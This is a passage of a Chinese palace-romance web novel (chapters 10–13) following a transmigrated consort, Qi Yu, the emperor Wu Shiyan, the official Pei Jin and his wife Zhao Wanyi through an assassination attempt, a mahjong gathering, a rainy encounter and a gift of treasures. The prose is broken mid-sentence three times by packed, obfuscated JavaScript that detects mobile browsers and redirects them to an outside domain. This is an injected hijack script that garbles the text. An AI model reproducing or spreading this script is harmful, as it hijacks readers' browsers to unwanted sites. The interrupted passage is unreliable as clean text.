其实每次毒发时他都是有意识的,曾经有以为他昏迷不醒就是对周遭情况一概不知的,派宫人想刺杀他,最终让他斩于床边,当然,他也受反噬,卧床了许久。 自此之后,其他人只以为秘密得到的消息——他身中奇毒是他放出来的障眼法,以自身为饵,诱使着余孽一波波来刺杀,再不敢轻易妄动。 只有乌时晏知道,如今的他多么虚张声势。 他的目光落到戚妤身上,触及她兀自枕着的雪白胳膊时连忙移到她的脸上。 戚妤的脸自然是无可挑剔的,所有美好的词放到她身上,用来赞美她都是那样的合适。 她的唇紧紧抿起,往下弯着,却因为唇瓣饱满,更像是翘起的弧度。 就连不高兴,也是这样的俏丽可爱。 乌时晏自然知道她的不满,本来不该她的事,却被田文善三言两语架了起来,不得不留下来陪他。 忍着温室殿的热意,做着宫娥的活。 可纵使如此,她也只是在自己委屈,一句抱怨都没说出口,反而细致贴心地为他擦汗。 不逾矩,不越界。 最终困了也只是趴在床边,将自己蜷成一团。 乌时晏当然知道不该用可怜来形容一个贵妃,可他脑中空洞,再挑不出其他形容词。 他的经验少,当然不知道怜惜之意是为偏心的前提。 乌时晏轻轻地看着戚妤,在他想要不要把她叫醒,到床上睡,就如在昭阳殿那般时,一滴豆大的汗珠从戚妤的脸颊滑到了她的下巴,且眼看着就要落入她的衣裳。 不知怎的,乌时晏伸出手,接住了那滴汗。 温热的汗珠砸在他指腹上,不再如珠子般圆润,覆盖上他的指尖。 乌时晏的手指冰凉,也就显得这滴热源异常温热,烫的他心弦一颤。 只是这种感觉太轻微了,任何人都不会在心中惊起半点涟漪,可紧接着,戚妤脸上又一滴猝不及防的小汗珠,没有沿着方才的痕迹,反而没入了她的锁骨。 白皙精致,滑腻腻的锁骨。 清晰见到这一幕的乌时晏,心弦霎那间崩断。 他拍醒了戚妤,眼皮半阖:“上床睡。” 被拍醒的戚妤茫然极了,见到乌时晏清醒也没什么欣喜,压的泛红的手扶上了腰。 她浑身酸软,腰部更甚。 都怪田文善。 幸好乌时晏把她叫醒了,不然这么睡一宿,腰都废了。 可即便如此,戚妤仍是迁怒乌时晏的,让他乱喝酒。 她恹恹地没应声,站起身将袖子放下,见到一旁的铜盆,顿时眉头舒展开来,没管乌时晏在,隔着一道帘子,用帕子沾着水擦洗起露出来的皮肤。 然后才从另一边绕到床上。 有床,不睡白不睡。 10. 第 10 章 戚妤躺在床上,她不是很困,便想着白日的事。 从裴谨急匆匆来找赵婉仪,到两人都没回宴席便可知,裴谨大抵知晓了乌时晏的心思,有了防备之心,但碍于君臣,他并不能做什么。 他若主动戳破此事,摆在他面前只有两条路,一是做个谏臣,对乌时晏好言劝见,让他回头,但乌时晏听劝的可能性极低,反而自身会遭到贬谪。 是为下下策。 二是卖妻求荣,将夫人送进宫,遭天下人耻笑唾骂。 仍为下下策。 所以即便这件事摆在明面上,众人皆知,裴谨都不会主动提起,兵来将挡水来土掩,自己的夫人,乌时晏强抢不走。 若真是被抢走,也是自己实力不济。 原本的剧情便是如此,裴谨如果识趣,乌时晏也不会大费一番周折将她与赵婉仪相换,并让“裴夫人”合理病逝,让裴谨有口难言。 一想到裴谨作为名正言顺的夫君,还得防备天子觊觎自己的夫人,戚妤就觉得那个场面好笑。 不过裴谨也是有依仗的,不会让乌时晏讨厌到恨不得除之而后快。 裴谨是个正直的人,正直到当初乌时晏离京,他毅然决然放弃了几乎铺好的仕途,随乌时晏离开。 凭着这份君臣情谊,乌时晏压根不会去动裴谨。 况且还是乌时晏自己看上了人家的妻子,若他不是皇帝,若他没有平天下时的劳苦功高,这么明目张胆,早让人戳着脊梁骨骂了。 现在离破晓还有一段时间,想着想着,戚妤听到了乌时晏的呼吸声。 她想起孟舍说的,乌时晏毒素发作,会成倍的疼。 但这么久了,乌时晏连一声疼都没呼,可见也非常人。 能忍常人所不能忍的苦,怪不得剧情最后乌时晏棋高一着,会是赢家。 戚妤漫无天际的想着,连回昭阳殿用什么膳都想到了,也思忖着要让工匠打两副麻将,上次经过御花园,周妙茵、吕舒、邓月槐与宫娥玩的好不快活。 衬得在昭阳殿看账册的她跟个大怨种似的。 简直岂有此理。 乌时晏此时的心情出奇的宁静,也许是再一次压住了毒素,也许是方才戚妤直白又生动的模样让人忍俊不禁,反复琢磨。 亦或者见到帕子擦过她雪白脖颈的那种朦胧,抚平了心里长久不歇、针刺般的焦灼感。 乌时晏起身,去汤池沐浴。 戚妤见此,将被子往外推了推。 乌时晏刚走,田文善又冒了出来,同时带着佩玖和一名宫娥,那名宫娥正是昨日在寝宫帮她按头舒缓的。 温室殿特殊,没有宫女在,这也就意味着她在这里处处都不方便。 于是田文善赶忙将戚妤得用的人带来了。 他隔着些距离道:“娘娘,汤池已经准备好了,娘娘可要移步?” 戚妤点头,转而想到他们看不见,迟了一会儿道:“要沐浴,让佩玖过来。” “另一个也过来吧。” 田文善忙对两人使眼色,让她们上前尽心服侍,他则慢慢退出去。 在退至殿外前,他清楚地听到了几句话。 “你叫什么名字?” “奴婢阿朱。” “本宫记得你,本宫腰有些疼,你来为本宫按按。” 阿朱声音低柔:“诺。” 佩玖心疼道:“娘娘伴驾,肤上怎么这么红……” 田文善听的眼睛一亮,心里直乐,这么看来,陛下也不是对贵妃娘娘全无感觉,只是端的方正,让人窥不见内里罢了。 他笑了一下,心满意足踏出了温室殿。 “……是不是陛下让您这样?” 趴在床上让阿朱更好用力的戚妤,听到佩玖越来越不像话的猜测,都不知道该摆出什么表情了。 她道:“是本宫在床榻边睡着后自己压的,这么浅的红痕,再晚一盏茶的功夫,你就看不见了。” 佩玖仍有疑惑:“那您的腰?” “扭的。” 佩玖这才相信了,主要是睡了半宿的床上并不凌乱,一看就没发生过什么。 陛下不喜欢娘娘,她自然要多注意些,免得娘娘被陛下欺负了去,独自伤怀。 阿朱自佩玖开口后就目光一凝,垂下的眼睫遮住了她眼中的神色,她细细听着主仆两人的对话,一字一句都记在了心间。 阿朱有一双巧手,在阿朱的按捏下,戚妤的心情一点点好了起来。 她起身,筋骨疏开,腰不酸了,便美滋滋夸了阿朱一句。 阿朱收手,往后退了一步,不骄不躁道:“这是奴婢应该做的。” 戚妤带着两人去汤池沐浴。 温室殿很大,汤池自然不止一处,戚妤并未与乌时晏碰面。 许是田文善反应过来温室殿对她来说很热,让人送了冰鉴到她身边。 沐浴结束,戚妤换上了新衣。 佩玖上前帮她整理衣裳。 戚妤看外面天色将明,便去跟乌时晏告退,然后带着佩玖回昭阳殿。 “娘娘,您喜欢阿朱,为何不让阿朱来昭阳殿伺候?”方才离开温室殿时,田公公向娘娘提议,说阿朱的手艺好,呆在寝宫浪费了,不如送给娘娘,但娘娘明明喜欢阿朱,却还是拒绝了。 戚妤失笑,方才田文善哪是给她送宫女,分明是暗示她乌时晏身边连个常伺候的宫娥都没有,以至于阿朱明珠蒙尘。 殷勤地希望她多关心惦记乌时晏,最好多往温室殿送些汤汤水水,他也定然为她在陛下面前美言。 不过即便田文善没有这一层意思,戚妤也不会收阿朱。 田文善提议时,阿朱并未欣喜,说明比起昭阳殿,她还是更乐于留在寝宫。 也是,乌时晏经常住在温室殿,寝宫的宫人清闲不劳累,且因属于御前,在宫中地位高,月钱多,是她她也不换。 戚妤想了想道:“本宫对阿朱没有喜欢到非她不可,比起阿朱,还是你和姑姑更好。” 佩玖单纯,心思都写在脸上了,也就对外能唬一唬人。 而锦榕姑姑的慈爱她都能感受到。 果然,一句简单的夸赞,佩玖就感动的泪眼汪汪:“奴婢要一直跟着娘娘。” 戚妤唇边的笑意扩大。 “娘娘您笑什么?” “觉得我的佩玖很可爱。” - 之后几天,宫中风平浪静,戚妤趁机将披香殿的三位美人聚起来。 比起当初一同入宫的时候,现在的周妙茵面对戚妤是忐忑的,不明白贵妃为什么会让她们到昭阳殿,不会是伺机报复吧? 可她们在披香殿吃的好睡的香,若真要报复,不该私底下授意宫人短了她们的东西吗,怎会这么正大光明将她们叫到昭阳殿。 若她们在昭阳殿受了伤,太后也必不会包庇贵妃,让她揭过此事的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127936|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在三人摸不着头脑的目光下,戚妤气定神闲让宫人将麻将拿了出来,对她们笑的温良。 戚妤手上的两副麻将都是用玉做的,三人见到后接受良好,即便不知道怎么玩,都愿意摸一摸牌。 而听明白了规则,真正上手后,周妙茵的眼睛就率先亮了起来。 不过须臾,她便领会到了这堆玉牌的妙处。 并在心中断言,这些东西若是能流传出宫,绝对能在后宅女眷那里受到追捧,再也不怕聚在一起没有乐子玩了。 同时戚妤也终于体会到了虐杀菜鸡的快感,唇角的笑意都没落下来过。 三人本来提着的心也纷纷落了下来,见此哪还有什么不明白了,是贵妃娘娘缺人手玩了,才叫上她们一起。 这是不是说明,她们在贵妃娘娘心中没那么坏? 一下午的时间,周妙茵快速上手,已经无师自通开始给戚妤喂牌了,赢了好几局才反应过来的戚妤,简直叹为观止。 嗯,周妙茵聪慧,人好,怎么能只有美人的位分呢? 与此同时,宫外。 赵婉仪乘裴府的马车外出上香,马车却突兀的停在了一片林子边。 马儿踏蹄子声掩住了箭矢没进血肉的声音。 月鹭道:“姑爷还在等着我们,怎么不走了?” 她掀开车帘,转眼就惊骇地坐回了马车内,声音颤抖道:“吴叔被杀了!” 吴叔是裴府的马车夫。 赵婉仪目光一厉,右手悄然摸上了放在马车内,藏的隐蔽,以备不时之需的剑。 她并未轻举妄动,因为对外,她只是个手无缚鸡之力,多读了些书的内宅妇人。 况且,乌时晏的暗卫还时时在她身边监视着,除非生死关头,不然她不能露出任何马脚。 赵婉仪的目光落到手腕上,毕竟她为了接近乌时晏,已经自废多年学下来的武功,现在连潜在身边的暗卫在哪一方位都不知道,颇为被动。 入京一年唯一的好消息恐怕就是可能找到了小妹。 一个黑衣人跃进了停滞不前的马车内,一个手刀打晕了惊叫的月鹭,面对赵婉仪,他特意端详了两眼:“你就是乌时晏心爱的女子?” 赵婉仪的眼睛骤然睁大:“什么?” 说的什么屁话? 黑衣人伸出手,不欲废话:“是裴府的马车,裴夫人,没错了。” 便想将赵婉仪抓走。 暗处的暗卫听到想要的消息,终于动了,一颗小石子打到了黑衣人伸出来的手腕,紧接着马车破开,从侧面飞来一脚将黑衣人踢远了,而后才提剑击杀。 赵婉仪收回了握剑的手,只差一点,她就要出手了。 她叫醒月鹭,月鹭捂着嘴,随赵婉仪下了马车,原地哪还有暗卫的影子,只余露出脖子上刺青的黑衣人的尸体。 赵婉仪看得清楚,刺杀她的正是叛王余孽,一个阴沟里的老鼠。 她即便要刺杀乌时晏也不愿与这群人为伍的存在。 但他们的消息无疑是灵通的,不会无的放矢。 乌时晏喜欢她? 赵婉仪不傻,自然联想到了宫里的贵妃。 她们的相貌几乎一模一样。 久等不到人,特意赶来的裴谨,见一地狼藉,又加上他处理过不少叛王余孽,很快对地上的尸体有了判断。 这时赵婉仪抬眼,裴谨看到了她眼中的亮光,心中顿时有了不好的预感。 11. 第 11 章 阿朱死了。 这是戚妤在收到赵婉仪遇上叛王余孽后听到的消息。 赵婉仪虽然平安,且并未受伤,但受到的惊吓是实打实的。 一个臣子之妻竟然在京师遇刺,京兆尹不敢耽误,立刻彻查了此事,便查出了与叛王余孽有关。 阿朱的死虽未在宫中惊起风浪,但戚妤觉得乌时晏不会做多余的事,阿朱死的这么干脆,必然是证据确凿。 而宫里宫外也就这么一件大事。 那阿朱大概是叛王余孽安插在乌时晏身边的一枚暗棋,只可惜久不见乌时晏,没了作用,才在寝宫熬了这么久资历也不叫人怀疑。 叛王余孽最恨的是乌时晏,然而皇宫重兵防卫,他们到不到乌时晏面前,即便侥幸混进来了,准备刺杀,也会被乌时晏毫不手软的反杀,没有成功一次,这才慢慢沉寂下来。 不过即便沉寂了,也如臭虫一样时不时作乱。 他们刺杀赵婉仪,应是清楚了乌时晏喜欢的是谁,想以此来要挟乌时晏或使他痛苦。 但赵婉仪身边有暗卫,即便不与裴谨一起,看似落单,安全也是无虞的。 不过在她还顶着宠妃名头时,叛王余孽为什么会认准了赵婉仪? 戚妤想起那晚在温室殿的情景,若说知道她与乌时晏没什么真情可言,也就当时听到她和佩玖说话的阿朱了。 换做平常,戚妤不会说的那么直白,只会扮好宠妃的角色。 只是那晚佩玖太过胡说,身边又只有一个阿朱,她一时懈怠,才透露了出来。 阿朱应是从此判断乌时晏对她没有真心,而她与赵婉仪长相几乎一样不是什么秘密,只要是有心之人就能留意到。 这才攀扯到了赵婉仪身上。 戚妤心中有些愧疚,让佩玖找来库房的账册,选了几页珍宝与数盒珍稀药材让人送到裴府赵婉仪手上,与此同时,随去的还有一名御医。 佩玖见戚妤伤怀,便道:“娘娘若是担心裴夫人,不如让奴婢去,奴婢定会把娘娘的意思传达到。” 戚妤觑了她一眼,压住她的手:“本宫不放心你去。” 佩玖去只会坏事,万一在赵婉仪面前耀武扬威,凶神恶煞,再说些威胁人的话,那她真就说不清了。 见心思败露,佩玖负气道:“娘娘,您是贵妃!” 怎就怕一个臣子之妻,陛下再喜欢,不还没入宫么,名不正言不顺,她作为贵妃娘娘的大宫女如何不能去为娘娘立威。 戚妤:“……” 她是女配,又不是恶毒女配,身边怎么会有一个急着冲锋陷阵的小炮灰? 戚妤捏了捏小炮灰的脸:“那就更不能让你去了。” 戚妤派了另一名大宫女兰苕去裴府一趟,特意叮嘱要和善些。 等再回来时,兰苕说,裴夫人一切安好,还有心思逗弄小雀。 戚妤让兰苕去领赏。 又过了两日,听说赵婉仪进宫面见太后,想是完全无碍,戚妤这才放心,也能开心玩乐了。 她让佩玖带着纸鸢一起去花园放。 昭阳殿旁的花园有花有草有湖,在浅草上还扎着一个秋千,戚妤坐下,让宫娥推她。 在荡起时,不仅能看到平静无波的湖面,还能看到附近的朱红楼阁。 戚妤的发丝随风飘动,因是逆着光,鼓起的发丝都是灿金色的。 配着她一身白粉衣裳,格外的俏丽动人。 佩玖对着她傻笑:“奴婢来推娘娘!” 玩倦了秋千,戚妤就去放纸鸢,宫人早早将线拉起来,只用戚妤接手后动一动线,纸鸢在天上就能飞的很好。 宫娥们一个劲儿夸娘娘纸鸢放的好,纸鸢在娘娘手上,跟活了似的。 戚妤被夸的动力十足。 只是没一会儿,原本的艳阳天忽然阴起来。 戚妤让宫人将纸鸢收起来,让人去取伞,这里离昭阳殿很近,就算下雨也不怕赶不回去。 她带着佩玖走向一旁的阁楼,顺着楼梯登上去,这里是一个大平台,隔着红漆栏杆,可以将方才的草地尽收眼底。 风徐徐大了起来,吹的人发丝飞舞,发带往后飘。 “娘娘,快要下雨了。”佩玖看着天色道。 这时,取伞的宫人也回来了。 戚妤喜欢大雨将至前的风,她一边将宫廷的楼宇尽收眼底,一边点了点头。 忽然,她看到对面右下角的廊下有几个人,被翘角的砖瓦挡着,看不清服饰。 这时雨滴争先恐后落了下来,地面被顷刻间打湿。 “本宫要在这里呆一会儿,去送两把伞给对面廊下的几名宫人,让他们打伞离开。” 一名宫人称诺,打着伞去了对面。 不一会儿,宫人回来,欣喜道:“娘娘,陛下让您过去。” 佩玖闻言,立刻瞪圆了眼。 戚妤再次往方才的方向看去,廊下的人往外走了走,她这才看清,那哪是宫人,分明是乌时晏在那里。 还未等她疑惑乌时晏为什么出现在昭阳殿附近时,紧接着她便发现,乌时晏对面站着裴谨与赵婉仪。 戚妤:?! 赵婉仪确实是今日进宫面见太后,原来现在还没出宫? 不过若从长信殿离宫,经过昭阳殿附近再正常不过了。 戚妤在见到乌时晏时并不打算过去,毕竟雨越下越大,难道她冒这么大雨过去就是为了给乌时晏行礼吗? 还不如呆在这里赏雨。 但裴谨与赵婉仪都在了,气氛必定焦灼了起来。 那一定很刺激很有趣。 这时,乌时晏朝这边招了招手,戚妤颔首示意。 戚妤对宫人道:“走吧。” 出了阁楼,佩玖将伞撑开,举在戚妤头顶,这把油纸伞很大,罩住三个人都绰绰有余。 但即便如此,耐不住雨是斜着吹的,随着行走,雨丝飘进伞内。 所以戚妤到乌时晏身边时,裙摆就有些湿了。 廊下没什么人说话,三人均看向她,田文善与几名温室殿的宫人也在这里。 赵婉仪与裴谨并着几名宫人朝她行礼。 戚妤微微侧身,没有完全受礼,她唤了声陛下后站到乌时晏旁边。 “臣妇这里有帕子。”赵婉仪忽然开口。 如此莫名的一句话,乌时晏与裴谨却均明白了是什么意思。 戚妤朝她道谢:“多谢赵夫人,我来就好。” 她接过帕子,将衣前湿润的地方擦了几遍,这才将帕子叠了叠,收到袖中。 裴谨听到这声赵夫人,眉梢微动。 他抬眼望去,戚妤与赵婉仪因接帕子的动作站的很近,打眼一看,不知道的还以为是一对双胞姊妹。 只除了衣饰发髻有所不同,但两人同时往下看去时,垂眼的神态让人分不出丝毫差别。 戚妤对裴谨自然是好奇的,她只遥遥看过他几眼,那日乌时晏生辰,她的注意力全在赵婉仪身上,并未多关注裴谨。 察觉到裴谨的视线,她轻轻抬眼,望进他眼中。 他的眼神比她还平淡无奇! 觊觎自己夫人的天子在这里,夫人也在这里,裴谨眼中却没有强烈的攻击性与护犊情深, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127937|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的只是寂波无澜。 好像没有什么能引起他的注意了。 戚妤又看向赵婉仪,赵婉仪朝她温婉一笑,戚妤下意识牵起唇角。 太古怪了,除了赵婉仪开口,乌时晏与裴谨一句话都不说。 最终戚妤的目光扫向乌时晏,乌时晏抓到了她的小动作,还未说什么,便见戚妤笑吟吟看向他。 她摆明了是来看热闹的。 只是来了,没发现自己所期许的,便笑一笑算了。 既然他们都不说话,戚妤自然是单刀直入:“陛下,裴大人怎么进宫了?” 乌时晏道:“来与朕商议政事,因为赵夫人在太后那里,裴谨想与夫人一起出宫。” 戚妤:“……” 懂了,严防死守来了。 裴谨接话道:“是,微臣与夫人感情颇好,一刻也离不开。” 赵婉仪:“……” 这明明是不想让她有与乌时晏独处的时机,可她不会这么蠢当众行刺,只会寻乌时晏没有防备的时候。 但裴谨,连这点时机都不给她。 赵婉仪嗔瞪了裴谨一眼:“陛下与我们一起走,天忽然好似要下雨,我们便来廊下躲雨,果然,没多少时候,雨便落了下来。” 戚妤的视线在赵婉仪与裴谨之间来回移动。 她怎么觉得赵婉仪嗔怒的这一眼暗含着微妙的杀气。 戚妤不懂,这大概是小情侣间的打情骂俏吧。 “娘娘的家在河东郡?”裴谨不经意间开口问询,像是躲雨时的闲聊。 赵婉仪默默竖起耳朵。 戚妤道:“是,只是地方比较偏远。” 她穿越时就在山里了,幸运出了山,但山附近也并不繁华。 多亏采选美人的公公会把全国各地都跑一遍,不然她还不知道怎么离开那里。 裴谨:“微臣曾经有一个小妹,八岁时被丢在了河东郡,至今人还没有找到。” 戚妤听着,那她必不可能是裴谨的妹妹了,因为她是穿越的,跟这个世界没有丝毫联系。 她安慰道:“八岁的孩子应该有记忆,多寻寻,总能找到。” 赵婉仪眼中闪过一丝隐蔽的失落。 裴谨倒神情如常,当真像是随意问一问,说一说。 他道:“承娘娘吉言。” 乌时晏疑惑:“朕怎么不知道爱卿还有一个妹妹?” “远房表妹,曾在微臣家小住过一段时间,后听到这个消息,总忍不住打探一二。” 乌时晏默然,十年的时间,中间夹杂着叛乱,活着的可能性极低了。 说话间,雨势不见小,一个小公公跑到田文善身边,田文善听了两句道:“陛下,殿内已经收拾好,是否现在过去?” 乌时晏点头。 四人往殿内走去。 有意无意的,戚妤落在了后面,充分给乌时晏与赵婉仪接触的机会。 这种时候,她自然不能在两人中间当个灯泡。 至于走在她身边的,则是裴谨。 裴谨也发现了他上前不得,隔不开前面的两人,不免闷气。 他低声道:“娘娘自至,就看了微臣很多眼。” 戚妤眨了眨眼,这才意识到裴谨是在对她说话,不由又看了他两眼。 “本宫现在看了裴大人很多眼加两眼,裴大人万万要记好,等分开的时候算给本宫听。” 若不是他太过反常,她还不看呢! 不去争抢,反而计较她看了多少眼。 戚妤轻哼了一声。 裴谨一怔,有些呆愣。 12. 第 12 章 裴谨原本以为贵妃是陛下放在宫里可有可无的角色,夫君另有所爱,贵妃必定忧郁伤怀,默默伫立着,等待陛下有回头那一天。 但仅是接触了这一次,裴谨便知道她不是。 充满好奇的眼神克制地落到他们身上,悄然给陛下与赵婉仪创造机会,面对他的询问不相让的怼了回来。 鲜活的女子是什么样,她就是什么样,没有一丝枯萎的迹象,用不着别人来可怜垂惜。 裴谨哑然,他还想着贵妃喜欢陛下,定也不想让陛下与赵婉仪单独相处,是个极好的合作伙伴。 但是他想岔了,不过即便仍是自己孤军奋战,他也不会放弃。 陛下怨他就怨他吧,毕竟当初也是他收到赵家世伯的信后为赵婉仪做遮掩,早失去了主动承认的时机。 且身为朋友,他也不会陷赵婉仪于危险。 “阿妤,过来。”乌时晏不知什么止步,出声唤戚妤。 戚妤愣了一下才反应过来乌时晏是在叫她。 她摸了摸耳朵,他们有这么熟吗? 戚妤抛弃裴谨,走到了乌时晏身边。 赵婉仪看着这一幕,心中泛起疑惑,乌时晏真的喜欢她吗? 进入殿内,众人坐下,田文善让人端上来了姜汤,辛辣味都飘到了空气里。 戚妤皱着鼻子,喝了一口便放下了。 “娘娘不爱喝姜汤?”赵婉仪问。 裴谨眼眸一动,他记得赵婉仪的妹妹不喜姜,在裴府住过一段时间娇气挑剔到了极点,让厨子和伺候的嬷嬷大为苦恼。 赵婉仪居然会有这样的妹妹,当时的他就不可置信。 他与她们姐妹自小相熟,但因与赵婉仪拜了一个师父的缘故,对赵婉仪的了解更深,对那个妹妹则只有一层浅淡的印象。 幼时他便因此问过此事,赵婉仪只笑道:“我的妹妹很聪明。” 他于是拿文章去让妹妹给他背一遍,看是不是如赵婉仪说的那样聪明,结果书被扔了出来,人也被推了出来,这让他郁闷不已。 戚妤朝赵婉仪甜甜一笑:“是啊,不过可以喝一口解解寒。” 虽然讨厌,但她更害怕自己感冒,让人担心就不好了。 赵婉仪不自觉笑了起来,好乖。 纵使戚妤方才表现的毫无异样,对裴谨所说的没有任何触动,但她还是不相信这不是她的小妹。 连喜好都这样相似,世上哪有这样的巧合? 她的妹妹背上有一块小胎记,圆圆的,像只小乌龟,小妹就常说是它才让她这么懒,半点不提嬷嬷抱她出去玩兴致多高昂。 赵婉仪想找机会与戚妤独处,但想也知道不可能,在宫里意外碰见戚妤,都已经是缘分了。 戚妤将一盘糕点推给三人。 乌时晏拿起,咬了一块,甜,齁嗓。 他的视线扫遍了桌子,没有茶水,便饮了口没有动的姜汤。 眼看着裴谨不好好盯自己的夫人,反倒想找空和戚妤说什么,乌时晏将糕点推给了裴谨。 君赐臣,不能辞。 裴谨尝了一口,沉默了一瞬,又推给了赵婉仪。 赵婉仪早就想尝尝了,戚妤给的,什么都是好的。 吃了一块后,赵婉仪慢条斯理喝起了姜汤。 戚妤抬头,发现三人又在看自己,脑袋上不由冒出一个大大的问号。 不是,他们的极限拉扯呢,爱恨情仇呢,怎么就光看她,请他们吃糕点还错了不成? 乌时晏与裴谨两个情敌能和平共处暂且说是君臣两个字压制着吧,那乌时晏与赵婉仪呢,平平淡淡,眼神都没拉丝,这算什么喜欢? 乌时晏的嫉妒和占有欲呢,赵婉仪的纠结与伤神呢,通通没有。 好失望。 戚妤后悔过来了。 这个时候她该呆在昭阳殿,由宫娥讨她欢心才对,而不是这样无话可说。 吃过糕点后,外面的雨也淅沥起来,慢慢停了。 戚妤道:“陛下,雨停了。” 裴谨也道:“微臣与夫人也该告退离宫了。” 乌时晏很轻易便放人了,殿内只剩他与戚妤。 见人走远,戚妤这才问:“陛下不是喜欢赵夫人吗?” 喜欢就该主动,她会帮忙拦住裴谨的。 乌时晏不答:“随朕去给赵婉仪挑些东西。” 戚妤应好,这般便还是喜欢的。 在随乌时晏去往他的宫殿的路上,她问:“陛下,您要怎么送给赵夫人,若是唐突了,恐怕京中会议论于她。” 这样的好,想来赵婉仪是不受用的。 乌时晏道:“她伴太后有功,又经历了余孽之事,朕理应赐裴府东西来奖励和安抚。” 戚妤安心了。 到了乌时晏的宫殿,李昌受乌时晏命令,早早将私库中的好东西摆了出来。 随着盒子打开,锦布掀开,宝贝甫一露面,将殿内都照耀地亮了起来。 戚妤不禁问了个傻问题:“陛下您的好东西怎么那么多?” 昭阳殿的宝贝就很多了,但比起这些简直是小巫见大巫,而这仅是用很短时间摆出来的一小部分。 说明乌时晏私库的东西比这还要多。 乌时晏道:“朕平乱时总能得到东西,有的是别人献的,有的是打下来的战利品,有的是从鱼肉乡里的旧官员府邸抄出来的。” 乱世易积累财富,他的私库丰盈再正常不过了,甚至在他登基的一两年,国库入不敷出,还是他用自己私库的银子接济的。 戚妤顾不上听,已经一个个看了起来。 当了两三个月贵妃,她看东西自有一套,且她喜欢贵的,一盯一个准。 乌时晏道:“朕不知道赵婉仪喜欢什么,贵妃与她同为女子,不如就贵妃来挑一挑,送到裴府。” 戚妤点了点头,她肯定会帮赵婉仪谋福利的。 毕竟方才赵婉仪还给她递来帕子,帕子上香香的,好闻。 田文善跟着戚妤,给她介绍这些宝物的来历。 李昌见田文善这般小心侍奉,十分纳罕,这小贼莫不是嗅到了陛下什么心思,不然对贵妃献什么殷勤? 不过在陛下心中,还是裴夫人最为重要,这不,将私藏的东西拿出来,就为送给裴夫人。 要知道入了陛下私库的东西,可再难拿出来了,金银之物还好,那些遗世宝贝,谁来求都别想从陛下手中拿走。 如今却大开库房,大方的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127938|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让人心惊。 戚妤不知道这事,听田文善介绍,是女子的首饰,拿!——赵婉仪身上太素了。 救命的药材,拿!——有叛王余孽这个隐患在,赵婉仪时时都危险,更需要这些东西。 传世的书法画作,拿!——赵婉仪才情顶尖,定喜欢这些。 …… 田文善在列册子,凡戚妤看上的,都被他一只毛笔记了下来。 戚妤再回到乌时晏身边时,他已经饮了不知道第几杯茶。 她有点记不清自己看上了多少件,总归不会少。 对于掏空乌时晏私藏这事,戚妤有一点点的心虚,便眨了眨眼,盯着乌时晏翻田文善呈上来的册子。 田文善还在说:“贵妃娘娘的眼光颇好,里面许多东西便是奴才也眼馋不已。” 乌时晏看了会儿道:“赵婉仪颇有才名,她自身也不爱首饰与金银之物,这些便划去。至于药材,取三成即可,太多也用不完。这些孤本想来她是喜欢的,便送五成,太多也摆不下……” 乌时晏进一步挑拣,使得送去裴府的东西不至于太夸张。 田文善问:“陛下,那这册子上其他的仍送回库房?” 乌时晏道:“与其在朕的私库落灰蒙尘,不如给它们寻个好去处,既是贵妃挑选的,便送去昭阳殿吧。” 突然被提到,戚妤连忙凝神,反应过来后不可思议问:“这些都给臣妾?” 天降财富啊! 若按乌时晏所说的,送到昭阳殿的比送到赵婉仪手上的还要多。 毕竟乌时晏送给赵婉仪,要细细挑选,不能是不喜欢的,不能太冒财,不能贪大,也不能贪多。 细细筛下来,可不就留下了大半。 送到昭阳殿便不需费心思了,只需一股脑送去就成。 戚妤不觉得这有什么不好,她爱这种全划拉给她的感觉,昭阳殿大,昭阳殿能摆下! 戚妤喜的笑了起来,比任何时候都要纯粹。 “自然。”乌时晏轻描淡写道,“这不算什么。” 大气! 戚妤的感激之情溢于言表,她笑盈盈道:“陛下,臣妾最近让御厨研究了些菜,明日陛下可否赏脸到昭阳殿用午膳?” 乌时晏颔首:“明日有空。” 李昌已经有点傻了,不明白怎么发展成了这样,不过听到这话他多想给贵妃娘娘出出主意,何必明天,应该趁热打铁今晚就去。 赶巧不知道陛下今日为何迷了心窍要大开私库,若趁此时小酒一灌,皇嗣不就来了吗? 今晚?今晚可不行! 戚妤也想过与乌时晏用晚膳,但她得先安置好这些宝贝,再说了,让御厨做膳也得提前安排好。 她可不想对大财主敷衍了事,务必得让乌时晏吃的满意。 不然,她拿这些东西亏心。 佩玖在一旁侍立着,她是怨怪陛下那样对娘娘,可陛下一来,那种帝威让她什么想法也没有了,脑袋空空,只会听命行事。 见娘娘得了这么多好处,她是真心实意为娘娘高兴。 她好像有些明白了娘娘为什么对这些事一笑置之,对赵夫人也升不起半点敌意。 实在是陛下给的太多了。 13. 第 13 章 戚妤不知道乌时晏喜欢吃什么,便捡了自己钟爱的菜式,让御厨多做了些口味,酸甜辛辣都有。 